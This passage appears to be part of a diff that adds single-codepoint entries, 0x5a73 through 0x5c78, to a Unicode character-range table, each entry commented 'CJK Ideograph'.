+ [0x5a73, 0x5a73], /* CJK Ideograph */
+ [0x5a74, 0x5a74], /* CJK Ideograph */
+ [0x5a75, 0x5a75], /* CJK Ideograph */
+ [0x5a76, 0x5a76], /* CJK Ideograph */
+ [0x5a77, 0x5a77], /* CJK Ideograph */
+ [0x5a78, 0x5a78], /* CJK Ideograph */
+ [0x5a79, 0x5a79], /* CJK Ideograph */
+ [0x5a7a, 0x5a7a], /* CJK Ideograph */
+ [0x5a7b, 0x5a7b], /* CJK Ideograph */
+ [0x5a7c, 0x5a7c], /* CJK Ideograph */
+ [0x5a7d, 0x5a7d], /* CJK Ideograph */
+ [0x5a7e, 0x5a7e], /* CJK Ideograph */
+ [0x5a7f, 0x5a7f], /* CJK Ideograph */
+ [0x5a80, 0x5a80], /* CJK Ideograph */
+ [0x5a81, 0x5a81], /* CJK Ideograph */
+ [0x5a82, 0x5a82], /* CJK Ideograph */
+ [0x5a83, 0x5a83], /* CJK Ideograph */
+ [0x5a84, 0x5a84], /* CJK Ideograph */
+ [0x5a85, 0x5a85], /* CJK Ideograph */
+ [0x5a86, 0x5a86], /* CJK Ideograph */
+ [0x5a87, 0x5a87], /* CJK Ideograph */
+ [0x5a88, 0x5a88], /* CJK Ideograph */
+ [0x5a89, 0x5a89], /* CJK Ideograph */
+ [0x5a8a, 0x5a8a], /* CJK Ideograph */
+ [0x5a8b, 0x5a8b], /* CJK Ideograph */
+ [0x5a8c, 0x5a8c], /* CJK Ideograph */
+ [0x5a8d, 0x5a8d], /* CJK Ideograph */
+ [0x5a8e, 0x5a8e], /* CJK Ideograph */
+ [0x5a8f, 0x5a8f], /* CJK Ideograph */
+ [0x5a90, 0x5a90], /* CJK Ideograph */
+ [0x5a91, 0x5a91], /* CJK Ideograph */
+ [0x5a92, 0x5a92], /* CJK Ideograph */
+ [0x5a93, 0x5a93], /* CJK Ideograph */
+ [0x5a94, 0x5a94], /* CJK Ideograph */
+ [0x5a95, 0x5a95], /* CJK Ideograph */
+ [0x5a96, 0x5a96], /* CJK Ideograph */
+ [0x5a97, 0x5a97], /* CJK Ideograph */
+ [0x5a98, 0x5a98], /* CJK Ideograph */
+ [0x5a99, 0x5a99], /* CJK Ideograph */
+ [0x5a9a, 0x5a9a], /* CJK Ideograph */
+ [0x5a9b, 0x5a9b], /* CJK Ideograph */
+ [0x5a9c, 0x5a9c], /* CJK Ideograph */
+ [0x5a9d, 0x5a9d], /* CJK Ideograph */
+ [0x5a9e, 0x5a9e], /* CJK Ideograph */
+ [0x5a9f, 0x5a9f], /* CJK Ideograph */
+ [0x5aa0, 0x5aa0], /* CJK Ideograph */
+ [0x5aa1, 0x5aa1], /* CJK Ideograph */
+ [0x5aa2, 0x5aa2], /* CJK Ideograph */
+ [0x5aa3, 0x5aa3], /* CJK Ideograph */
+ [0x5aa4, 0x5aa4], /* CJK Ideograph */
+ [0x5aa5, 0x5aa5], /* CJK Ideograph */
+ [0x5aa6, 0x5aa6], /* CJK Ideograph */
+ [0x5aa7, 0x5aa7], /* CJK Ideograph */
+ [0x5aa8, 0x5aa8], /* CJK Ideograph */
+ [0x5aa9, 0x5aa9], /* CJK Ideograph */
+ [0x5aaa, 0x5aaa], /* CJK Ideograph */
+ [0x5aab, 0x5aab], /* CJK Ideograph */
+ [0x5aac, 0x5aac], /* CJK Ideograph */
+ [0x5aad, 0x5aad], /* CJK Ideograph */
+ [0x5aae, 0x5aae], /* CJK Ideograph */
+ [0x5aaf, 0x5aaf], /* CJK Ideograph */
+ [0x5ab0, 0x5ab0], /* CJK Ideograph */
+ [0x5ab1, 0x5ab1], /* CJK Ideograph */
+ [0x5ab2, 0x5ab2], /* CJK Ideograph */
+ [0x5ab3, 0x5ab3], /* CJK Ideograph */
+ [0x5ab4, 0x5ab4], /* CJK Ideograph */
+ [0x5ab5, 0x5ab5], /* CJK Ideograph */
+ [0x5ab6, 0x5ab6], /* CJK Ideograph */
+ [0x5ab7, 0x5ab7], /* CJK Ideograph */
+ [0x5ab8, 0x5ab8], /* CJK Ideograph */
+ [0x5ab9, 0x5ab9], /* CJK Ideograph */
+ [0x5aba, 0x5aba], /* CJK Ideograph */
+ [0x5abb, 0x5abb], /* CJK Ideograph */
+ [0x5abc, 0x5abc], /* CJK Ideograph */
+ [0x5abd, 0x5abd], /* CJK Ideograph */
+ [0x5abe, 0x5abe], /* CJK Ideograph */
+ [0x5abf, 0x5abf], /* CJK Ideograph */
+ [0x5ac0, 0x5ac0], /* CJK Ideograph */
+ [0x5ac1, 0x5ac1], /* CJK Ideograph */
+ [0x5ac2, 0x5ac2], /* CJK Ideograph */
+ [0x5ac3, 0x5ac3], /* CJK Ideograph */
+ [0x5ac4, 0x5ac4], /* CJK Ideograph */
+ [0x5ac5, 0x5ac5], /* CJK Ideograph */
+ [0x5ac6, 0x5ac6], /* CJK Ideograph */
+ [0x5ac7, 0x5ac7], /* CJK Ideograph */
+ [0x5ac8, 0x5ac8], /* CJK Ideograph */
+ [0x5ac9, 0x5ac9], /* CJK Ideograph */
+ [0x5aca, 0x5aca], /* CJK Ideograph */
+ [0x5acb, 0x5acb], /* CJK Ideograph */
+ [0x5acc, 0x5acc], /* CJK Ideograph */
+ [0x5acd, 0x5acd], /* CJK Ideograph */
+ [0x5ace, 0x5ace], /* CJK Ideograph */
+ [0x5acf, 0x5acf], /* CJK Ideograph */
+ [0x5ad0, 0x5ad0], /* CJK Ideograph */
+ [0x5ad1, 0x5ad1], /* CJK Ideograph */
+ [0x5ad2, 0x5ad2], /* CJK Ideograph */
+ [0x5ad3, 0x5ad3], /* CJK Ideograph */
+ [0x5ad4, 0x5ad4], /* CJK Ideograph */
+ [0x5ad5, 0x5ad5], /* CJK Ideograph */
+ [0x5ad6, 0x5ad6], /* CJK Ideograph */
+ [0x5ad7, 0x5ad7], /* CJK Ideograph */
+ [0x5ad8, 0x5ad8], /* CJK Ideograph */
+ [0x5ad9, 0x5ad9], /* CJK Ideograph */
+ [0x5ada, 0x5ada], /* CJK Ideograph */
+ [0x5adb, 0x5adb], /* CJK Ideograph */
+ [0x5adc, 0x5adc], /* CJK Ideograph */
+ [0x5add, 0x5add], /* CJK Ideograph */
+ [0x5ade, 0x5ade], /* CJK Ideograph */
+ [0x5adf, 0x5adf], /* CJK Ideograph */
+ [0x5ae0, 0x5ae0], /* CJK Ideograph */
+ [0x5ae1, 0x5ae1], /* CJK Ideograph */
+ [0x5ae2, 0x5ae2], /* CJK Ideograph */
+ [0x5ae3, 0x5ae3], /* CJK Ideograph */
+ [0x5ae4, 0x5ae4], /* CJK Ideograph */
+ [0x5ae5, 0x5ae5], /* CJK Ideograph */
+ [0x5ae6, 0x5ae6], /* CJK Ideograph */
+ [0x5ae7, 0x5ae7], /* CJK Ideograph */
+ [0x5ae8, 0x5ae8], /* CJK Ideograph */
+ [0x5ae9, 0x5ae9], /* CJK Ideograph */
+ [0x5aea, 0x5aea], /* CJK Ideograph */
+ [0x5aeb, 0x5aeb], /* CJK Ideograph */
+ [0x5aec, 0x5aec], /* CJK Ideograph */
+ [0x5aed, 0x5aed], /* CJK Ideograph */
+ [0x5aee, 0x5aee], /* CJK Ideograph */
+ [0x5aef, 0x5aef], /* CJK Ideograph */
+ [0x5af0, 0x5af0], /* CJK Ideograph */
+ [0x5af1, 0x5af1], /* CJK Ideograph */
+ [0x5af2, 0x5af2], /* CJK Ideograph */
+ [0x5af3, 0x5af3], /* CJK Ideograph */
+ [0x5af4, 0x5af4], /* CJK Ideograph */
+ [0x5af5, 0x5af5], /* CJK Ideograph */
+ [0x5af6, 0x5af6], /* CJK Ideograph */
+ [0x5af7, 0x5af7], /* CJK Ideograph */
+ [0x5af8, 0x5af8], /* CJK Ideograph */
+ [0x5af9, 0x5af9], /* CJK Ideograph */
+ [0x5afa, 0x5afa], /* CJK Ideograph */
+ [0x5afb, 0x5afb], /* CJK Ideograph */
+ [0x5afc, 0x5afc], /* CJK Ideograph */
+ [0x5afd, 0x5afd], /* CJK Ideograph */
+ [0x5afe, 0x5afe], /* CJK Ideograph */
+ [0x5aff, 0x5aff], /* CJK Ideograph */
+ [0x5b00, 0x5b00], /* CJK Ideograph */
+ [0x5b01, 0x5b01], /* CJK Ideograph */
+ [0x5b02, 0x5b02], /* CJK Ideograph */
+ [0x5b03, 0x5b03], /* CJK Ideograph */
+ [0x5b04, 0x5b04], /* CJK Ideograph */
+ [0x5b05, 0x5b05], /* CJK Ideograph */
+ [0x5b06, 0x5b06], /* CJK Ideograph */
+ [0x5b07, 0x5b07], /* CJK Ideograph */
+ [0x5b08, 0x5b08], /* CJK Ideograph */
+ [0x5b09, 0x5b09], /* CJK Ideograph */
+ [0x5b0a, 0x5b0a], /* CJK Ideograph */
+ [0x5b0b, 0x5b0b], /* CJK Ideograph */
+ [0x5b0c, 0x5b0c], /* CJK Ideograph */
+ [0x5b0d, 0x5b0d], /* CJK Ideograph */
+ [0x5b0e, 0x5b0e], /* CJK Ideograph */
+ [0x5b0f, 0x5b0f], /* CJK Ideograph */
+ [0x5b10, 0x5b10], /* CJK Ideograph */
+ [0x5b11, 0x5b11], /* CJK Ideograph */
+ [0x5b12, 0x5b12], /* CJK Ideograph */
+ [0x5b13, 0x5b13], /* CJK Ideograph */
+ [0x5b14, 0x5b14], /* CJK Ideograph */
+ [0x5b15, 0x5b15], /* CJK Ideograph */
+ [0x5b16, 0x5b16], /* CJK Ideograph */
+ [0x5b17, 0x5b17], /* CJK Ideograph */
+ [0x5b18, 0x5b18], /* CJK Ideograph */
+ [0x5b19, 0x5b19], /* CJK Ideograph */
+ [0x5b1a, 0x5b1a], /* CJK Ideograph */
+ [0x5b1b, 0x5b1b], /* CJK Ideograph */
+ [0x5b1c, 0x5b1c], /* CJK Ideograph */
+ [0x5b1d, 0x5b1d], /* CJK Ideograph */
+ [0x5b1e, 0x5b1e], /* CJK Ideograph */
+ [0x5b1f, 0x5b1f], /* CJK Ideograph */
+ [0x5b20, 0x5b20], /* CJK Ideograph */
+ [0x5b21, 0x5b21], /* CJK Ideograph */
+ [0x5b22, 0x5b22], /* CJK Ideograph */
+ [0x5b23, 0x5b23], /* CJK Ideograph */
+ [0x5b24, 0x5b24], /* CJK Ideograph */
+ [0x5b25, 0x5b25], /* CJK Ideograph */
+ [0x5b26, 0x5b26], /* CJK Ideograph */
+ [0x5b27, 0x5b27], /* CJK Ideograph */
+ [0x5b28, 0x5b28], /* CJK Ideograph */
+ [0x5b29, 0x5b29], /* CJK Ideograph */
+ [0x5b2a, 0x5b2a], /* CJK Ideograph */
+ [0x5b2b, 0x5b2b], /* CJK Ideograph */
+ [0x5b2c, 0x5b2c], /* CJK Ideograph */
+ [0x5b2d, 0x5b2d], /* CJK Ideograph */
+ [0x5b2e, 0x5b2e], /* CJK Ideograph */
+ [0x5b2f, 0x5b2f], /* CJK Ideograph */
+ [0x5b30, 0x5b30], /* CJK Ideograph */
+ [0x5b31, 0x5b31], /* CJK Ideograph */
+ [0x5b32, 0x5b32], /* CJK Ideograph */
+ [0x5b33, 0x5b33], /* CJK Ideograph */
+ [0x5b34, 0x5b34], /* CJK Ideograph */
+ [0x5b35, 0x5b35], /* CJK Ideograph */
+ [0x5b36, 0x5b36], /* CJK Ideograph */
+ [0x5b37, 0x5b37], /* CJK Ideograph */
+ [0x5b38, 0x5b38], /* CJK Ideograph */
+ [0x5b39, 0x5b39], /* CJK Ideograph */
+ [0x5b3a, 0x5b3a], /* CJK Ideograph */
+ [0x5b3b, 0x5b3b], /* CJK Ideograph */
+ [0x5b3c, 0x5b3c], /* CJK Ideograph */
+ [0x5b3d, 0x5b3d], /* CJK Ideograph */
+ [0x5b3e, 0x5b3e], /* CJK Ideograph */
+ [0x5b3f, 0x5b3f], /* CJK Ideograph */
+ [0x5b40, 0x5b40], /* CJK Ideograph */
+ [0x5b41, 0x5b41], /* CJK Ideograph */
+ [0x5b42, 0x5b42], /* CJK Ideograph */
+ [0x5b43, 0x5b43], /* CJK Ideograph */
+ [0x5b44, 0x5b44], /* CJK Ideograph */
+ [0x5b45, 0x5b45], /* CJK Ideograph */
+ [0x5b46, 0x5b46], /* CJK Ideograph */
+ [0x5b47, 0x5b47], /* CJK Ideograph */
+ [0x5b48, 0x5b48], /* CJK Ideograph */
+ [0x5b49, 0x5b49], /* CJK Ideograph */
+ [0x5b4a, 0x5b4a], /* CJK Ideograph */
+ [0x5b4b, 0x5b4b], /* CJK Ideograph */
+ [0x5b4c, 0x5b4c], /* CJK Ideograph */
+ [0x5b4d, 0x5b4d], /* CJK Ideograph */
+ [0x5b4e, 0x5b4e], /* CJK Ideograph */
+ [0x5b4f, 0x5b4f], /* CJK Ideograph */
+ [0x5b50, 0x5b50], /* CJK Ideograph */
+ [0x5b51, 0x5b51], /* CJK Ideograph */
+ [0x5b52, 0x5b52], /* CJK Ideograph */
+ [0x5b53, 0x5b53], /* CJK Ideograph */
+ [0x5b54, 0x5b54], /* CJK Ideograph */
+ [0x5b55, 0x5b55], /* CJK Ideograph */
+ [0x5b56, 0x5b56], /* CJK Ideograph */
+ [0x5b57, 0x5b57], /* CJK Ideograph */
+ [0x5b58, 0x5b58], /* CJK Ideograph */
+ [0x5b59, 0x5b59], /* CJK Ideograph */
+ [0x5b5a, 0x5b5a], /* CJK Ideograph */
+ [0x5b5b, 0x5b5b], /* CJK Ideograph */
+ [0x5b5c, 0x5b5c], /* CJK Ideograph */
+ [0x5b5d, 0x5b5d], /* CJK Ideograph */
+ [0x5b5e, 0x5b5e], /* CJK Ideograph */
+ [0x5b5f, 0x5b5f], /* CJK Ideograph */
+ [0x5b60, 0x5b60], /* CJK Ideograph */
+ [0x5b61, 0x5b61], /* CJK Ideograph */
+ [0x5b62, 0x5b62], /* CJK Ideograph */
+ [0x5b63, 0x5b63], /* CJK Ideograph */
+ [0x5b64, 0x5b64], /* CJK Ideograph */
+ [0x5b65, 0x5b65], /* CJK Ideograph */
+ [0x5b66, 0x5b66], /* CJK Ideograph */
+ [0x5b67, 0x5b67], /* CJK Ideograph */
+ [0x5b68, 0x5b68], /* CJK Ideograph */
+ [0x5b69, 0x5b69], /* CJK Ideograph */
+ [0x5b6a, 0x5b6a], /* CJK Ideograph */
+ [0x5b6b, 0x5b6b], /* CJK Ideograph */
+ [0x5b6c, 0x5b6c], /* CJK Ideograph */
+ [0x5b6d, 0x5b6d], /* CJK Ideograph */
+ [0x5b6e, 0x5b6e], /* CJK Ideograph */
+ [0x5b6f, 0x5b6f], /* CJK Ideograph */
+ [0x5b70, 0x5b70], /* CJK Ideograph */
+ [0x5b71, 0x5b71], /* CJK Ideograph */
+ [0x5b72, 0x5b72], /* CJK Ideograph */
+ [0x5b73, 0x5b73], /* CJK Ideograph */
+ [0x5b74, 0x5b74], /* CJK Ideograph */
+ [0x5b75, 0x5b75], /* CJK Ideograph */
+ [0x5b76, 0x5b76], /* CJK Ideograph */
+ [0x5b77, 0x5b77], /* CJK Ideograph */
+ [0x5b78, 0x5b78], /* CJK Ideograph */
+ [0x5b79, 0x5b79], /* CJK Ideograph */
+ [0x5b7a, 0x5b7a], /* CJK Ideograph */
+ [0x5b7b, 0x5b7b], /* CJK Ideograph */
+ [0x5b7c, 0x5b7c], /* CJK Ideograph */
+ [0x5b7d, 0x5b7d], /* CJK Ideograph */
+ [0x5b7e, 0x5b7e], /* CJK Ideograph */
+ [0x5b7f, 0x5b7f], /* CJK Ideograph */
+ [0x5b80, 0x5b80], /* CJK Ideograph */
+ [0x5b81, 0x5b81], /* CJK Ideograph */
+ [0x5b82, 0x5b82], /* CJK Ideograph */
+ [0x5b83, 0x5b83], /* CJK Ideograph */
+ [0x5b84, 0x5b84], /* CJK Ideograph */
+ [0x5b85, 0x5b85], /* CJK Ideograph */
+ [0x5b86, 0x5b86], /* CJK Ideograph */
+ [0x5b87, 0x5b87], /* CJK Ideograph */
+ [0x5b88, 0x5b88], /* CJK Ideograph */
+ [0x5b89, 0x5b89], /* CJK Ideograph */
+ [0x5b8a, 0x5b8a], /* CJK Ideograph */
+ [0x5b8b, 0x5b8b], /* CJK Ideograph */
+ [0x5b8c, 0x5b8c], /* CJK Ideograph */
+ [0x5b8d, 0x5b8d], /* CJK Ideograph */
+ [0x5b8e, 0x5b8e], /* CJK Ideograph */
+ [0x5b8f, 0x5b8f], /* CJK Ideograph */
+ [0x5b90, 0x5b90], /* CJK Ideograph */
+ [0x5b91, 0x5b91], /* CJK Ideograph */
+ [0x5b92, 0x5b92], /* CJK Ideograph */
+ [0x5b93, 0x5b93], /* CJK Ideograph */
+ [0x5b94, 0x5b94], /* CJK Ideograph */
+ [0x5b95, 0x5b95], /* CJK Ideograph */
+ [0x5b96, 0x5b96], /* CJK Ideograph */
+ [0x5b97, 0x5b97], /* CJK Ideograph */
+ [0x5b98, 0x5b98], /* CJK Ideograph */
+ [0x5b99, 0x5b99], /* CJK Ideograph */
+ [0x5b9a, 0x5b9a], /* CJK Ideograph */
+ [0x5b9b, 0x5b9b], /* CJK Ideograph */
+ [0x5b9c, 0x5b9c], /* CJK Ideograph */
+ [0x5b9d, 0x5b9d], /* CJK Ideograph */
+ [0x5b9e, 0x5b9e], /* CJK Ideograph */
+ [0x5b9f, 0x5b9f], /* CJK Ideograph */
+ [0x5ba0, 0x5ba0], /* CJK Ideograph */
+ [0x5ba1, 0x5ba1], /* CJK Ideograph */
+ [0x5ba2, 0x5ba2], /* CJK Ideograph */
+ [0x5ba3, 0x5ba3], /* CJK Ideograph */
+ [0x5ba4, 0x5ba4], /* CJK Ideograph */
+ [0x5ba5, 0x5ba5], /* CJK Ideograph */
+ [0x5ba6, 0x5ba6], /* CJK Ideograph */
+ [0x5ba7, 0x5ba7], /* CJK Ideograph */
+ [0x5ba8, 0x5ba8], /* CJK Ideograph */
+ [0x5ba9, 0x5ba9], /* CJK Ideograph */
+ [0x5baa, 0x5baa], /* CJK Ideograph */
+ [0x5bab, 0x5bab], /* CJK Ideograph */
+ [0x5bac, 0x5bac], /* CJK Ideograph */
+ [0x5bad, 0x5bad], /* CJK Ideograph */
+ [0x5bae, 0x5bae], /* CJK Ideograph */
+ [0x5baf, 0x5baf], /* CJK Ideograph */
+ [0x5bb0, 0x5bb0], /* CJK Ideograph */
+ [0x5bb1, 0x5bb1], /* CJK Ideograph */
+ [0x5bb2, 0x5bb2], /* CJK Ideograph */
+ [0x5bb3, 0x5bb3], /* CJK Ideograph */
+ [0x5bb4, 0x5bb4], /* CJK Ideograph */
+ [0x5bb5, 0x5bb5], /* CJK Ideograph */
+ [0x5bb6, 0x5bb6], /* CJK Ideograph */
+ [0x5bb7, 0x5bb7], /* CJK Ideograph */
+ [0x5bb8, 0x5bb8], /* CJK Ideograph */
+ [0x5bb9, 0x5bb9], /* CJK Ideograph */
+ [0x5bba, 0x5bba], /* CJK Ideograph */
+ [0x5bbb, 0x5bbb], /* CJK Ideograph */
+ [0x5bbc, 0x5bbc], /* CJK Ideograph */
+ [0x5bbd, 0x5bbd], /* CJK Ideograph */
+ [0x5bbe, 0x5bbe], /* CJK Ideograph */
+ [0x5bbf, 0x5bbf], /* CJK Ideograph */
+ [0x5bc0, 0x5bc0], /* CJK Ideograph */
+ [0x5bc1, 0x5bc1], /* CJK Ideograph */
+ [0x5bc2, 0x5bc2], /* CJK Ideograph */
+ [0x5bc3, 0x5bc3], /* CJK Ideograph */
+ [0x5bc4, 0x5bc4], /* CJK Ideograph */
+ [0x5bc5, 0x5bc5], /* CJK Ideograph */
+ [0x5bc6, 0x5bc6], /* CJK Ideograph */
+ [0x5bc7, 0x5bc7], /* CJK Ideograph */
+ [0x5bc8, 0x5bc8], /* CJK Ideograph */
+ [0x5bc9, 0x5bc9], /* CJK Ideograph */
+ [0x5bca, 0x5bca], /* CJK Ideograph */
+ [0x5bcb, 0x5bcb], /* CJK Ideograph */
+ [0x5bcc, 0x5bcc], /* CJK Ideograph */
+ [0x5bcd, 0x5bcd], /* CJK Ideograph */
+ [0x5bce, 0x5bce], /* CJK Ideograph */
+ [0x5bcf, 0x5bcf], /* CJK Ideograph */
+ [0x5bd0, 0x5bd0], /* CJK Ideograph */
+ [0x5bd1, 0x5bd1], /* CJK Ideograph */
+ [0x5bd2, 0x5bd2], /* CJK Ideograph */
+ [0x5bd3, 0x5bd3], /* CJK Ideograph */
+ [0x5bd4, 0x5bd4], /* CJK Ideograph */
+ [0x5bd5, 0x5bd5], /* CJK Ideograph */
+ [0x5bd6, 0x5bd6], /* CJK Ideograph */
+ [0x5bd7, 0x5bd7], /* CJK Ideograph */
+ [0x5bd8, 0x5bd8], /* CJK Ideograph */
+ [0x5bd9, 0x5bd9], /* CJK Ideograph */
+ [0x5bda, 0x5bda], /* CJK Ideograph */
+ [0x5bdb, 0x5bdb], /* CJK Ideograph */
+ [0x5bdc, 0x5bdc], /* CJK Ideograph */
+ [0x5bdd, 0x5bdd], /* CJK Ideograph */
+ [0x5bde, 0x5bde], /* CJK Ideograph */
+ [0x5bdf, 0x5bdf], /* CJK Ideograph */
+ [0x5be0, 0x5be0], /* CJK Ideograph */
+ [0x5be1, 0x5be1], /* CJK Ideograph */
+ [0x5be2, 0x5be2], /* CJK Ideograph */
+ [0x5be3, 0x5be3], /* CJK Ideograph */
+ [0x5be4, 0x5be4], /* CJK Ideograph */
+ [0x5be5, 0x5be5], /* CJK Ideograph */
+ [0x5be6, 0x5be6], /* CJK Ideograph */
+ [0x5be7, 0x5be7], /* CJK Ideograph */
+ [0x5be8, 0x5be8], /* CJK Ideograph */
+ [0x5be9, 0x5be9], /* CJK Ideograph */
+ [0x5bea, 0x5bea], /* CJK Ideograph */
+ [0x5beb, 0x5beb], /* CJK Ideograph */
+ [0x5bec, 0x5bec], /* CJK Ideograph */
+ [0x5bed, 0x5bed], /* CJK Ideograph */
+ [0x5bee, 0x5bee], /* CJK Ideograph */
+ [0x5bef, 0x5bef], /* CJK Ideograph */
+ [0x5bf0, 0x5bf0], /* CJK Ideograph */
+ [0x5bf1, 0x5bf1], /* CJK Ideograph */
+ [0x5bf2, 0x5bf2], /* CJK Ideograph */
+ [0x5bf3, 0x5bf3], /* CJK Ideograph */
+ [0x5bf4, 0x5bf4], /* CJK Ideograph */
+ [0x5bf5, 0x5bf5], /* CJK Ideograph */
+ [0x5bf6, 0x5bf6], /* CJK Ideograph */
+ [0x5bf7, 0x5bf7], /* CJK Ideograph */
+ [0x5bf8, 0x5bf8], /* CJK Ideograph */
+ [0x5bf9, 0x5bf9], /* CJK Ideograph */
+ [0x5bfa, 0x5bfa], /* CJK Ideograph */
+ [0x5bfb, 0x5bfb], /* CJK Ideograph */
+ [0x5bfc, 0x5bfc], /* CJK Ideograph */
+ [0x5bfd, 0x5bfd], /* CJK Ideograph */
+ [0x5bfe, 0x5bfe], /* CJK Ideograph */
+ [0x5bff, 0x5bff], /* CJK Ideograph */
+ [0x5c00, 0x5c00], /* CJK Ideograph */
+ [0x5c01, 0x5c01], /* CJK Ideograph */
+ [0x5c02, 0x5c02], /* CJK Ideograph */
+ [0x5c03, 0x5c03], /* CJK Ideograph */
+ [0x5c04, 0x5c04], /* CJK Ideograph */
+ [0x5c05, 0x5c05], /* CJK Ideograph */
+ [0x5c06, 0x5c06], /* CJK Ideograph */
+ [0x5c07, 0x5c07], /* CJK Ideograph */
+ [0x5c08, 0x5c08], /* CJK Ideograph */
+ [0x5c09, 0x5c09], /* CJK Ideograph */
+ [0x5c0a, 0x5c0a], /* CJK Ideograph */
+ [0x5c0b, 0x5c0b], /* CJK Ideograph */
+ [0x5c0c, 0x5c0c], /* CJK Ideograph */
+ [0x5c0d, 0x5c0d], /* CJK Ideograph */
+ [0x5c0e, 0x5c0e], /* CJK Ideograph */
+ [0x5c0f, 0x5c0f], /* CJK Ideograph */
+ [0x5c10, 0x5c10], /* CJK Ideograph */
+ [0x5c11, 0x5c11], /* CJK Ideograph */
+ [0x5c12, 0x5c12], /* CJK Ideograph */
+ [0x5c13, 0x5c13], /* CJK Ideograph */
+ [0x5c14, 0x5c14], /* CJK Ideograph */
+ [0x5c15, 0x5c15], /* CJK Ideograph */
+ [0x5c16, 0x5c16], /* CJK Ideograph */
+ [0x5c17, 0x5c17], /* CJK Ideograph */
+ [0x5c18, 0x5c18], /* CJK Ideograph */
+ [0x5c19, 0x5c19], /* CJK Ideograph */
+ [0x5c1a, 0x5c1a], /* CJK Ideograph */
+ [0x5c1b, 0x5c1b], /* CJK Ideograph */
+ [0x5c1c, 0x5c1c], /* CJK Ideograph */
+ [0x5c1d, 0x5c1d], /* CJK Ideograph */
+ [0x5c1e, 0x5c1e], /* CJK Ideograph */
+ [0x5c1f, 0x5c1f], /* CJK Ideograph */
+ [0x5c20, 0x5c20], /* CJK Ideograph */
+ [0x5c21, 0x5c21], /* CJK Ideograph */
+ [0x5c22, 0x5c22], /* CJK Ideograph */
+ [0x5c23, 0x5c23], /* CJK Ideograph */
+ [0x5c24, 0x5c24], /* CJK Ideograph */
+ [0x5c25, 0x5c25], /* CJK Ideograph */
+ [0x5c26, 0x5c26], /* CJK Ideograph */
+ [0x5c27, 0x5c27], /* CJK Ideograph */
+ [0x5c28, 0x5c28], /* CJK Ideograph */
+ [0x5c29, 0x5c29], /* CJK Ideograph */
+ [0x5c2a, 0x5c2a], /* CJK Ideograph */
+ [0x5c2b, 0x5c2b], /* CJK Ideograph */
+ [0x5c2c, 0x5c2c], /* CJK Ideograph */
+ [0x5c2d, 0x5c2d], /* CJK Ideograph */
+ [0x5c2e, 0x5c2e], /* CJK Ideograph */
+ [0x5c2f, 0x5c2f], /* CJK Ideograph */
+ [0x5c30, 0x5c30], /* CJK Ideograph */
+ [0x5c31, 0x5c31], /* CJK Ideograph */
+ [0x5c32, 0x5c32], /* CJK Ideograph */
+ [0x5c33, 0x5c33], /* CJK Ideograph */
+ [0x5c34, 0x5c34], /* CJK Ideograph */
+ [0x5c35, 0x5c35], /* CJK Ideograph */
+ [0x5c36, 0x5c36], /* CJK Ideograph */
+ [0x5c37, 0x5c37], /* CJK Ideograph */
+ [0x5c38, 0x5c38], /* CJK Ideograph */
+ [0x5c39, 0x5c39], /* CJK Ideograph */
+ [0x5c3a, 0x5c3a], /* CJK Ideograph */
+ [0x5c3b, 0x5c3b], /* CJK Ideograph */
+ [0x5c3c, 0x5c3c], /* CJK Ideograph */
+ [0x5c3d, 0x5c3d], /* CJK Ideograph */
+ [0x5c3e, 0x5c3e], /* CJK Ideograph */
+ [0x5c3f, 0x5c3f], /* CJK Ideograph */
+ [0x5c40, 0x5c40], /* CJK Ideograph */
+ [0x5c41, 0x5c41], /* CJK Ideograph */
+ [0x5c42, 0x5c42], /* CJK Ideograph */
+ [0x5c43, 0x5c43], /* CJK Ideograph */
+ [0x5c44, 0x5c44], /* CJK Ideograph */
+ [0x5c45, 0x5c45], /* CJK Ideograph */
+ [0x5c46, 0x5c46], /* CJK Ideograph */
+ [0x5c47, 0x5c47], /* CJK Ideograph */
+ [0x5c48, 0x5c48], /* CJK Ideograph */
+ [0x5c49, 0x5c49], /* CJK Ideograph */
+ [0x5c4a, 0x5c4a], /* CJK Ideograph */
+ [0x5c4b, 0x5c4b], /* CJK Ideograph */
+ [0x5c4c, 0x5c4c], /* CJK Ideograph */
+ [0x5c4d, 0x5c4d], /* CJK Ideograph */
+ [0x5c4e, 0x5c4e], /* CJK Ideograph */
+ [0x5c4f, 0x5c4f], /* CJK Ideograph */
+ [0x5c50, 0x5c50], /* CJK Ideograph */
+ [0x5c51, 0x5c51], /* CJK Ideograph */
+ [0x5c52, 0x5c52], /* CJK Ideograph */
+ [0x5c53, 0x5c53], /* CJK Ideograph */
+ [0x5c54, 0x5c54], /* CJK Ideograph */
+ [0x5c55, 0x5c55], /* CJK Ideograph */
+ [0x5c56, 0x5c56], /* CJK Ideograph */
+ [0x5c57, 0x5c57], /* CJK Ideograph */
+ [0x5c58, 0x5c58], /* CJK Ideograph */
+ [0x5c59, 0x5c59], /* CJK Ideograph */
+ [0x5c5a, 0x5c5a], /* CJK Ideograph */
+ [0x5c5b, 0x5c5b], /* CJK Ideograph */
+ [0x5c5c, 0x5c5c], /* CJK Ideograph */
+ [0x5c5d, 0x5c5d], /* CJK Ideograph */
+ [0x5c5e, 0x5c5e], /* CJK Ideograph */
+ [0x5c5f, 0x5c5f], /* CJK Ideograph */
+ [0x5c60, 0x5c60], /* CJK Ideograph */
+ [0x5c61, 0x5c61], /* CJK Ideograph */
+ [0x5c62, 0x5c62], /* CJK Ideograph */
+ [0x5c63, 0x5c63], /* CJK Ideograph */
+ [0x5c64, 0x5c64], /* CJK Ideograph */
+ [0x5c65, 0x5c65], /* CJK Ideograph */
+ [0x5c66, 0x5c66], /* CJK Ideograph */
+ [0x5c67, 0x5c67], /* CJK Ideograph */
+ [0x5c68, 0x5c68], /* CJK Ideograph */
+ [0x5c69, 0x5c69], /* CJK Ideograph */
+ [0x5c6a, 0x5c6a], /* CJK Ideograph */
+ [0x5c6b, 0x5c6b], /* CJK Ideograph */
+ [0x5c6c, 0x5c6c], /* CJK Ideograph */
+ [0x5c6d, 0x5c6d], /* CJK Ideograph */
+ [0x5c6e, 0x5c6e], /* CJK Ideograph */
+ [0x5c6f, 0x5c6f], /* CJK Ideograph */
+ [0x5c70, 0x5c70], /* CJK Ideograph */
+ [0x5c71, 0x5c71], /* CJK Ideograph */
+ [0x5c72, 0x5c72], /* CJK Ideograph */
+ [0x5c73, 0x5c73], /* CJK Ideograph */
+ [0x5c74, 0x5c74], /* CJK Ideograph */
+ [0x5c75, 0x5c75], /* CJK Ideograph */
+ [0x5c76, 0x5c76], /* CJK Ideograph */
+ [0x5c77, 0x5c77], /* CJK Ideograph */
+ [0x5c78, 0x5c78], /* CJK Ideograph */
